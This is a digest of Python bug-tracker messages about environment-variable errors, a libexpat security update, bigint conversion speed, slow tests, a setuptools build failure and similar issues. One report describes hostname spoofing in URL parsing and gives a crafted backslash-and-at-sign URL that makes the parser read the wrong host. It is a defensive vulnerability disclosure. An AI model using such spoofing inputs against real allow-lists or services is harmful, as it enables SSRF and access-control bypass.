Message-ID: <1643502184.93.0.855076082087.issue44264@roundup.psfhosted.org> Irit Katriel added the comment: It's not necessarily true that the environment variable is not set just because the key is not in os.environ. In this example my del did not change the environment variable: >>> import os >>> os.environ['TMPDIR'] '/var/folders/kf/0v7kz3ps62dg11v9rq0sz35m0000gn/T/' >>> del os.environ['TMPDIR'] >>> os.environ['TMPDIR'] Traceback (most recent call last): File "", line 1, in File "", line 678, in __getitem__ KeyError: 'TMPDIR' ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:24:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 00:24:30 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected In-Reply-To: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> Message-ID: <1643502270.69.0.91344545758.issue44264@roundup.psfhosted.org> Irit Katriel added the comment: > if a user of a Python program were to come across it, it may not indicate what they needed to do to avoid the crash. The user of a program should not see this exception. The program should translate it to an error that would make sense to the user. ---------- resolution: -> rejected status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:25:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 00:25:40 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected In-Reply-To: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> Message-ID: <1643502340.43.0.0998640983663.issue44264@roundup.psfhosted.org> Irit Katriel added the comment: I vote to reject this proposal. Unless another core dev disagrees, I will close this issue. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:27:48 2022 From: report at bugs.python.org (sping) Date: Sun, 30 Jan 2022 00:27:48 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.4 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1643502468.09.0.105014318169.issue46400@roundup.psfhosted.org> sping added the comment: 2.4.4 with more security fixes has been released, adjusting the ticket to be about updating to 2.4.4 now. ---------- title: Please update bundled libexpat to 2.4.3 with security fixes -> Please update bundled libexpat to 2.4.4 with security fixes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:29:31 2022 From: report at bugs.python.org (Dashmeet Kaur Ajmani) Date: Sun, 30 Jan 2022 00:29:31 +0000 Subject: [issue46577] Hostname spoofing via backslashes in URL Message-ID: <1643502571.23.0.70657524301.issue46577@roundup.psfhosted.org> New submission from Dashmeet Kaur Ajmani : A URL's hostname can be spoofed by using a backslash (\) character followed by an at (@) character. If the hostname is used in security decisions, the decision may be incorrect. Impact: Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior. Example URL: "http://google.com:80\\@yahoo.com/#what\\is going on" Expected behaviour (as returned by NPM urijs): { "scheme": "http", "user": "", "password": "", "host": "google.com", "port": "", "path": "@yahoo.com/", "query": "", "fragment": "what\\is going on" } Actual behaviour: { "scheme": "http", "user": "google.com", "password": "80\\", "host": "yahoo.com", "port": "", "path": "/", "query": "", "fragment": "what\\is going on" } Expected version is the behavior of other parsers which implement the WHATWG URL specification, including web browsers and Node's built-in URL class. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26291 ---------- components: Library (Lib) messages: 412118 nosy: meetdash priority: normal severity: normal status: open title: Hostname spoofing via backslashes in URL type: security versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 20:19:02 2022 From: report at bugs.python.org (Keelung Yang) Date: Sun, 30 Jan 2022 01:19:02 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643505542.84.0.170549790307.issue46554@roundup.psfhosted.org> Keelung Yang added the comment: Without append kwarg, users need two lines to append. It's bad to both readability and writability. Library developers should focus on bath language and library's design targets, but how frequently used. And as all discussed here, at least one applications scene(logging) benefited from append kwarg. Right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 20:30:43 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 30 Jan 2022 01:30:43 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643506243.72.0.655388844522.issue46558@roundup.psfhosted.org> Tim Peters added the comment: The test case here is a = (1 << 100000000) - 1, a solid string of 100 million 1 bits. The goal is to convert to a decimal string. Methods: native: str(a) numeral: the Python numeral() function from bpo-3451's div.py after adapting to use the Python divmod_fast() from the same report's fast_div.py. todecstr: from the Python file attached to this report. gmp: str() applied to gmpy2.mpz(a). Timings: native: don't know; gave up after waiting over 2 1/2 hours. numeral: about 5 1/2 minutes. todecstr: under 30 seconds. (*) gmp: under 6 seconds. So there's room for improvement ;-) But here's the thing: I've lost count of how many times someone has whipped up a pure-Python implementation of a bigint algorithm that leaves CPython in the dust. And they're generally pretty easy in Python. But then they die there, because converting to C is soul-crushing, losing the beauty and elegance and compactness to mountains of low-level details of memory-management, refcounting, and checking for errors after every tiny operation. So a new question in this endless dilemma: _why_ do we need to convert to C? Why not leave the extreme cases to far-easier to write and maintain Python code? When we're cutting runtime from hours down to minutes, we're focusing on entirely the wrong end to not settle for 2 minutes because it may be theoretically possible to cut that to 1 minute by resorting to C. (*) I hope this algorithm tickles you by defying expectations ;-) It essentially stands `numeral()` on its head by splitting the input by a power of 2 instead of by a power of 10. As a result _no_ divisions are used. But instead of shifting decimal digits into place, it has to multiply the high-end pieces by powers of 2. That seems insane on the face of it, but hard to argue with the clock ;-) The "tricks" here are that the O(log log n) powers of 2 needed can be computed efficiently in advance of any splitting, and that all the heavy arithmetic is done _in_ the `decimal` module, which implements fancier-than-Karatsuba multiplication and whose values can be converted to decimal strings very quickly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 20:41:11 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 30 Jan 2022 01:41:11 +0000 Subject: [issue3451] Asymptotically faster divmod and str(long) In-Reply-To: <1217121065.64.0.642253571203.issue3451@psf.upfronthosting.co.za> Message-ID: <1643506871.0.0.750399670726.issue3451@roundup.psfhosted.org> Tim Peters added the comment: Ha! This will never die. More discussion in bpo-46558. Ya, I already closed it, but don't want to. I opened it to begin with to record an int->str method that doesn't use division, so it didn't really belong on this report. What if we _didn't_ convert these things to C? That's the primary question the new report gets around to asking. These things are far easier to write, understand, and maintain in Python, and converting to C is generally only improving a constant factor, or _maybe_ removing a log(n) factor. When we're looking at massive O() improvements, squeezing those out is of comparatively little value. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 22:01:06 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 30 Jan 2022 03:01:06 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643511666.68.0.443473427249.issue46558@roundup.psfhosted.org> Tim Peters added the comment: Addendum: the "native" time (for built in str(a)) in the msg above turned out to be over 3 hours and 50 minutes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 22:19:16 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 30 Jan 2022 03:19:16 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643512756.94.0.197481168803.issue46521@roundup.psfhosted.org> Terry J. Reedy added the comment: With my fix to the PR: >>> a b ''' SyntaxError: unterminated triple-quoted string literal (detected at line 1) >>> a ''' ... The message is off, and can be left for another issue (or not), but the behavior is correct. With the hack removed, all the tests in test_codeop that the hack works can be removed and replaced by a simple test that a code object, error, or None are returned in 3 different cases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 23:43:25 2022 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Sun, 30 Jan 2022 04:43:25 +0000 Subject: [issue46577] Hostname spoofing via backslashes in URL In-Reply-To: <1643502571.23.0.70657524301.issue46577@roundup.psfhosted.org> Message-ID: <1643517805.98.0.0299127469569.issue46577@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: This seems to be similar to https://bugs.python.org/issue35748 ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 23:48:46 2022 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Sun, 30 Jan 2022 04:48:46 +0000 Subject: [issue46576] test_peg_generator is extremely slow In-Reply-To: <1643488302.33.0.475443222477.issue46576@roundup.psfhosted.org> Message-ID: <1643518126.85.0.798875665862.issue46576@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: See also issue46524 for a similar discussion. ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 23:50:58 2022 From: report at bugs.python.org (Eryk Sun) Date: Sun, 30 Jan 2022 04:50:58 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected In-Reply-To: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> Message-ID: <1643518258.07.0.340880763621.issue44264@roundup.psfhosted.org> Eryk Sun added the comment: This is just a point of clarification. > my del did not change the environment variable os.environ defines the __delitem__ method to call C unsetenv(). Thus `del os.environ[varname]` does unset the environment variable, at least at the level of the C runtime. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 23:53:03 2022 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Sun, 30 Jan 2022 04:53:03 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643518383.1.0.716420950526.issue46524@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: See also https://bugs.python.org/issue46576 and https://github.com/python/cpython/pull/31015 ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 00:42:19 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 30 Jan 2022 05:42:19 +0000 Subject: [issue46574] itertools.count should work with non-number types In-Reply-To: <1643483665.61.0.972027795667.issue46574@roundup.psfhosted.org> Message-ID: <1643521339.02.0.958449469846.issue46574@roundup.psfhosted.org> Raymond Hettinger added the comment: Thanks for the suggestion but I'm going to decline. * The need for this is very low. * It's easy to roll your own. * The code for `count('', 'a')` and `count((), (1,))` isn't intelligible. * Without special casing, the code for `count('', 'a')` and `count((), (1,))` is highly inefficient. We advise people not to use the 's = s + t' pattern in a loop for sequences because it leads to quadratic behavior. ---------- assignee: -> rhettinger nosy: +rhettinger resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 02:22:42 2022 From: report at bugs.python.org (michaellongge) Date: Sun, 30 Jan 2022 07:22:42 +0000 Subject: [issue46578] cant DEBUG os.spawnv() Message-ID: <1643527362.27.0.337252732186.issue46578@roundup.psfhosted.org> New submission from michaellongge : When i try to execute --link.exe *.obj-- on windows 11, i get one error LIB : fatal error LNK1181: cannot open input file 'Files.obj' It looks like a space path error so i run [os.spawnv(link.exe)] alone try to find out where made this error. But i cant DEBUG os.spawnv() on Pycharm. When the cursor on os.spawnv() line then press [Step Into], cursor jump to ntpath.py (216) it's in "def basename()" not in os.py "def spawnv()" so this issue contain 2 parts 1.space error such as "Program Files (x86)" 2.DEBUG cant jump to right place Here is my salmpe code.I have tried python3.8 and python3.10 both same error ``` import os executable= 'D:\\VS2022\\VC\\Tools\\MSVC\\14.30.30705\\bin\\HostX86\\x64\\link.exe' cmd310 = ["/LIBPATH:D:\\python310\\lib\\site-packages\\torch\\lib", "/LIBPATH:D:\\python310\\libs", "/LIBPATH:D:\\python310\\PCbuild\\amd64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\ATLMFC\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\lib\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\NETFXSDK\\4.8\\lib\\um\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\lib\\10.0.19041.0\\ucrt\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\lib\\10.0.19041.0\\um\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\atlmfc\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Auxiliary\\VS\\lib\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\ucrt\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\ucrt_enclave\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\um\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\NETFXSDK\\4.8\\lib\\um\\x64", "/LIBPATH:D:\\python310\\libs", "c10.lib", "torch.lib", "torch_cpu.lib", "torch_python.lib"] rc = os.spawnv(os.P_WAIT, executable, cmd310) ``` ---------- components: Build messages: 412129 nosy: michaellongge priority: normal severity: normal status: open title: cant DEBUG os.spawnv() versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 02:31:26 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 07:31:26 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643527886.73.0.445024612157.issue46571@roundup.psfhosted.org> Nikita Sobolev added the comment: ## 1. What is documented? The docs makes this even more weird! > @typing.no_type_check > Decorator to indicate that annotations are not type hints. > This works as class or function decorator. With a class, it applies recursively to all methods defined in that class (but not to methods defined in its superclasses or subclasses). > This mutates the function(s) in place. https://docs.python.org/3/library/typing.html#typing.no_type_check Docs do not mention modifing nested classes at all! So, it looks like the `(1)` solution. ## 2. What does it do now? It modifies nested types, even ones used in assignments. ## 3. How is that used by runtime type inspectors? I've made a little research: 1. Hypothesis (I help with maintaining its typing API) does not support `@no_type_check` at all: https://github.com/HypothesisWorks/hypothesis/issues/3225 2. Pydantic, looks like `@no_type_check` does not change anything at all. ``` from pydantic import BaseModel from typing import no_type_check @no_type_check # the same with and without this decorator class MyModel(BaseModel): a: int print(MyModel(a=1)) # ok print(MyModel(a='1a')) # ok # pydantic.error_wrappers.ValidationError: 1 validation error for MyModel # a: value is not a valid integer (type=type_error.integer) ``` So, it always tries to coerce types. Docs: https://pydantic-docs.helpmanual.io/usage/types/ They also use it inside their own code-base: https://github.com/samuelcolvin/pydantic/search?q=no_type_check Probably for `mypy` to be happy. 3. `dataclasses` and `attrs` - nothing changes. Both do not use neither `@no_type_check` nor `get_type_hints` inside. Attrs: https://github.com/python-attrs/attrs/search?q=get_type_hints 4. Beartype: https://github.com/beartype/beartype > We've verified that @beartype reduces to the identity decorator when decorating unannotated callables. That's but the tip of the iceberg, though. @beartype unconditionally reduces to a noop when: > The decorated callable is itself decorated by the PEP 484-compliant @typing.no_type_check decorator. So, as far as I understand, they only have `@no_type_check` support for callables. Related test: https://github.com/beartype/beartype/blob/50b213f315ecf97ea6a42674defe474b8f5d7203/beartype_test/a00_unit/a00_util/func/pep/test_utilpep484func.py So, to conclude, some project might still rely on current behavior that nested types are also implicitly marked as `@no_type_check`, but I cannot find any solid proof for it. The noticable thing is that this never came up before in ~6 years while this logic exists: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/typing.py#L1969-L1970 It helps to prove my point: probably, no one uses it. ## 3. How is that used by runtime type inspectors? ## 4. What would be most useful to runtime type inspectors? With all the information I gathered, I've changed my opinion :) Now I think that we should drop the part with modifing nested types at all (`(1)` solution). Only a type with `@no_type_check` should be modified. This is what docs say. This will also solve the original problem. Even if someone relies on current behavior: the fix is not hard, just add `@no_type_check` to nested types as well. So, do others have any objections / comments / feedback? :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 02:49:31 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 30 Jan 2022 07:49:31 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643528971.96.0.342498363878.issue46524@roundup.psfhosted.org> Gregory P. Smith added the comment: re: slow tests in the first half of the list. the same total amount of time is going to be spent regardless. In our test suite on a modern fast 16 thread system, all but 10 tests are completed in parallel within the first 30 seconds. The remaining ~10 take 10x+ that wall time more minutes. So the most latency you will shave off on a modern system is probably <30 seconds. On a slower system the magnitude of that will remain the same in proportion. CI systems are not workstations. On -j1 or -j2 system I doubt it will make a meaningful difference at all. Picture test execution as a utilization graph: ``` |ttttttttttttttttttttttt | tttt | ttt | tttttttttt +---------------------------------------- ``` The total area under that curve is going to remain the same no matter what so long as we execute everything. Reordering the tests can pull the final long tail in a bit by pushing out the top layer. You move more towards an optimal rectangle, but you're still limited by the area. **The less -jN parallelism you have as CPU cores the less difference any reordering change makes.** What actual parallelism do our Github CI systems offer? The fundamental problem is that we do a LOT in our test suite and have no concept of what depends on what and thus _needs_ to be run. So we run it all. For specialized tests like test_peg_generator and test_tools it should be easy to determine from a list of modified files if those tests are relevant. That gets a lot more complicated to accurately express for things like test_multiprocessing and test_concurrent_futures. test_peg_generator and test_tools are also *packages of tests* that themselves should be parallelized individually instead of considered a single serialized unit. At work we even shard test methods within TestCase classes so that big ones can be split across test executor tasks: See the _setup_sharding() function in absltest here: https://github.com/abseil/abseil-py/blob/main/absl/testing/absltest.py#L2368 In absence of implementing an approach like that within test.regrtest to shard at a more granular level thus enabling us to approach the golden rectangle of optimal parallel test latency, we're left with manually splitting long running test module/packages up into smaller units to achieve a similar effect. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 02:58:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 07:58:02 +0000 Subject: [issue44264] Add descriptive error message when environment variable not detected In-Reply-To: <1622315631.82.0.174699823262.issue44264@roundup.psfhosted.org> Message-ID: <1643529482.17.0.450131657906.issue44264@roundup.psfhosted.org> Irit Katriel added the comment: > os.environ defines the __delitem__ method to call C unsetenv(). Thus `del os.environ[varname]` does unset the environment variable, at least at the level of the C runtime. For the current process, yes. But it's not that what the user needs to do to fix the problem is to define an environment variable and rerun the program. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 03:03:31 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 30 Jan 2022 08:03:31 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643529811.68.0.078298184063.issue46524@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +29196 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31017 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 03:04:08 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 30 Jan 2022 08:04:08 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643529848.4.0.0323317723051.issue46524@roundup.psfhosted.org> Gregory P. Smith added the comment: If a decent parallelism CI systems are not available from github (they seem stuck at 2-3 threads per https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners), an alternative approach could be to shard across multiple parallel CI tasks. Shard such that each one gets only one of the slow tests. Unfortunately if each of these were a line item in Github's poor CI UI sharding a single config's tests across 5-10 tasks would be a nightmare to navigate on a PR. I expect everyone would hate that. Providing our own runners with decent parallelism could help: https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners But we're always going to be bound by our longest tail test if we don't fix our test parallelism to be more granular. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 03:43:33 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 30 Jan 2022 08:43:33 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643532213.37.0.994329114309.issue46524@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- pull_requests: +29197 pull_request: https://github.com/python/cpython/pull/31015 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 03:52:22 2022 From: report at bugs.python.org (=?utf-8?b?0JTQuNC70Y/QvSDQn9Cw0LvQsNGD0LfQvtCy?=) Date: Sun, 30 Jan 2022 08:52:22 +0000 Subject: =?utf-8?q?=5Bissue46579=5D_Compiling_from_source_prints_=C2=ABModuleNotFo?= =?utf-8?q?undError=3A_No_module_named_=27binascii=27=C2=BB?= Message-ID: <1643532742.73.0.172389831963.issue46579@roundup.psfhosted.org> New submission from ????? ???????? : I compile python from source: $ python --version Python 3.10.1+ $ cat /etc/config.site ax_cv_c_float_words_bigendian=no enable_silent_rules=yes $ git describe v3.10.2-74-ga5451c96a1 $ ./configure --enable-loadable-sqlite-extensions --disable-ipv6 --with-system-expat --with-system-libmpdec --enable-shared $ make gcc -c -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -I. -I./Include -fPIC -DPy_BUILD_CORE -o Modules/_math.o Modules/_math.c LD_LIBRARY_PATH=/git/cpython CC='gcc' LDSHARED='gcc -shared ' OPT='-DNDEBUG -g -fwrapv -O3 -Wall' _TCLTK_INCLUDES='-I/usr/local/include' _TCLTK_LIBS='-L/usr/local/lib -ltk8.6 -ltkstub8.6 -ltcl8.6 -ltclstub8.6' ./python -E ./setup.py build Traceback (most recent call last): File "/git/cpython/./setup.py", line 50, in from distutils.command.install import install File "/usr/local/lib/python3.10/site-packages/setuptools/_distutils/command/install.py", line 20, in from .. import _collections File "/usr/local/lib/python3.10/site-packages/setuptools/__init__.py", line 16, in import setuptools.version File "/usr/local/lib/python3.10/site-packages/setuptools/version.py", line 1, in import pkg_resources File "/usr/local/lib/python3.10/site-packages/pkg_resources/__init__.py", line 23, in import zipfile File "/git/cpython/Lib/zipfile.py", line 6, in import binascii ModuleNotFoundError: No module named 'binascii' make: *** [Makefile:637: sharedmods] Error 1 When I compiled python 3.10 using python 3.8 one or two months ago, there was no such problem. Compiling python from source code, shall use the bundled distutils, not the installed one. My Linux From Scratch system appears not to have module binascii: $ locate binascii /usr/local/lib/python3.10/lib-dynload/binascii.cpython-310-x86_64-linux-gnu.so /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.opt-1.pyc /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.opt-2.pyc /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.pyc /usr/local/lib/python3.10/test/test_binascii.py /usr/local/lib/python3.8/lib-dynload/binascii.cpython-38-x86_64-linux-gnu.so /usr/local/lib/python3.8/site-packages/mypy/typeshed/stdlib/@python2/binascii.pyi /usr/local/lib/python3.8/site-packages/mypy/typeshed/stdlib/binascii.pyi /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.opt-1.pyc /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.opt-2.pyc /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.pyc /usr/local/lib/python3.8/test/test_binascii.py /git/cpython/Modules/binascii.c /git/cpython/Modules/clinic/binascii.c.h /git/cpython/Lib/test/test_binascii.py /git/cpython/Doc/library/binascii.rst ---------- components: Installation messages: 412134 nosy: dilyan.palauzov priority: normal severity: normal status: open title: Compiling from source prints ?ModuleNotFoundError: No module named 'binascii'? type: compile error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 04:09:24 2022 From: report at bugs.python.org (Julien Palard) Date: Sun, 30 Jan 2022 09:09:24 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643533764.23.0.386054561813.issue42238@roundup.psfhosted.org> Julien Palard added the comment: > You gave me a small shock, but I checked and it was only 11/12 years ago :D HAha! Either I misstyped 12 as 21, either I'm bad at math, sorry for the shock ;) > I'm fine with moving this out of tree; please coordinate with the Sphinx maintainers whether it should be an "official" extension or completely separate. They propose [1] to have it in sphinx-contrib ("A collection of Sphinx extensions maintained by their respective authors. It is not an official part of Sphinx."), what do you think? [1] https://github.com/sphinx-doc/sphinx/issues/10143#issuecomment-1025093280 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 04:16:14 2022 From: report at bugs.python.org (Georg Brandl) Date: Sun, 30 Jan 2022 09:16:14 +0000 Subject: [issue42238] Deprecate suspicious.py? In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org> Message-ID: <1643534174.79.0.932151625546.issue42238@roundup.psfhosted.org> Georg Brandl added the comment: Sure! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 05:42:02 2022 From: report at bugs.python.org (hbandi) Date: Sun, 30 Jan 2022 10:42:02 +0000 Subject: [issue46580] email.utils.unquote strips too many slashes Message-ID: <1643539322.11.0.428529022673.issue46580@roundup.psfhosted.org> New submission from hbandi : email.utils.unquote currently unescapes all backslashes, then unescapes all double quotes in the resulting string. it may removes too many backslashes. see GH PR for an example. ---------- components: email messages: 412137 nosy: barry, hbandi, r.david.murray priority: normal pull_requests: 29198 severity: normal status: open title: email.utils.unquote strips too many slashes type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 06:02:51 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 30 Jan 2022 11:02:51 +0000 Subject: =?utf-8?q?=5Bissue46579=5D_Compiling_from_source_prints_=C2=ABModuleNotFo?= =?utf-8?q?undError=3A_No_module_named_=27binascii=27=C2=BB?= In-Reply-To: <1643532742.73.0.172389831963.issue46579@roundup.psfhosted.org> Message-ID: <1643540571.03.0.720376124508.issue46579@roundup.psfhosted.org> Christian Heimes added the comment: You are affected by setuptools bug https://github.com/pypa/setuptools/issues/3007 . The setuptools issues has a workaround. The next version of setuptools will come with a fix. ---------- nosy: +christian.heimes resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 06:37:06 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 30 Jan 2022 11:37:06 +0000 Subject: [issue46521] codeop._maybe_compile passes code with error + triple quotes In-Reply-To: <1643123376.15.0.69468893853.issue46521@roundup.psfhosted.org> Message-ID: <1643542626.13.0.823238744105.issue46521@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > The message is off That's because the tokenizer sees the error before the parser even has time to see the other one. Not sure if is technically anything to fix here other than the order of reporting two different errors, which may be a bit tricky to fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 06:56:34 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 30 Jan 2022 11:56:34 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643543794.59.0.279535420931.issue46554@roundup.psfhosted.org> Barney Gale added the comment: New users who want to add lines to a file will see this method and do: for line in blah: path.write_text(line, append=True) Which repeatedly opens/closes the file. This is a foot-shotgun; it shouldn't be added to pathlib IMO. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 07:04:30 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Sun, 30 Jan 2022 12:04:30 +0000 Subject: [issue43224] Add support for PEP 646 Message-ID: <1643544270.68.0.730744545764.issue43224@roundup.psfhosted.org> Change by Matthew Rahtz : ---------- pull_requests: +29199 pull_request: https://github.com/python/cpython/pull/31018 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 07:40:18 2022 From: report at bugs.python.org (Anton Khirnov) Date: Sun, 30 Jan 2022 12:40:18 +0000 Subject: [issue39100] email.policy.SMTP throws AttributeError on invalid header In-Reply-To: <1576783934.54.0.946649596481.issue39100@roundup.psfhosted.org> Message-ID: <164354641579.20480.3853312935305275303@lain.red.khirnov.net> Anton Khirnov added the comment: Ping yet again. Can anyone please look at this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 07:45:33 2022 From: report at bugs.python.org (=?utf-8?b?0JTQuNC70Y/QvSDQn9Cw0LvQsNGD0LfQvtCy?=) Date: Sun, 30 Jan 2022 12:45:33 +0000 Subject: =?utf-8?q?=5Bissue46579=5D_Compiling_from_source_prints_=C2=ABModuleNotFo?= =?utf-8?q?undError=3A_No_module_named_=27binascii=27=C2=BB?= In-Reply-To: <1643532742.73.0.172389831963.issue46579@roundup.psfhosted.org> Message-ID: <1643546733.81.0.244823501929.issue46579@roundup.psfhosted.org> ????? ???????? added the comment: The problem is, that Python?s install 